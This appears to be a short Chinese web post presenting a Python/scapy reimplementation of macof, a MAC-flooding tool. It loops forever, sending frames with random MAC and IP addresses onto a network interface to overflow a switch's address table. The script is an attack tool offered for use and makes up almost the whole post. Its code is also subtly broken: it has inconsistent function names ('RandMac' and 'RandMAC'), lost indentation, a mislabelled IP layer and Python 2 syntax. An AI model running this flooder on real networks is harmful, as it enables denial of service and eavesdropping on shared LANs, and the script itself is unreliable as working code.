Python实现macof
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
iface=sys.argv[1]
while(1):
eth = Ether(src=RandMac("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*"))
arp = IP(src=RandIP("*.*.*.*"),dst=RandIP("*.*.*.*"))
print eth.dst
packet = eth/arp/ICMP()
time.sleep(0.5)
sendp(packet,iface=iface,loop=0)
相关文章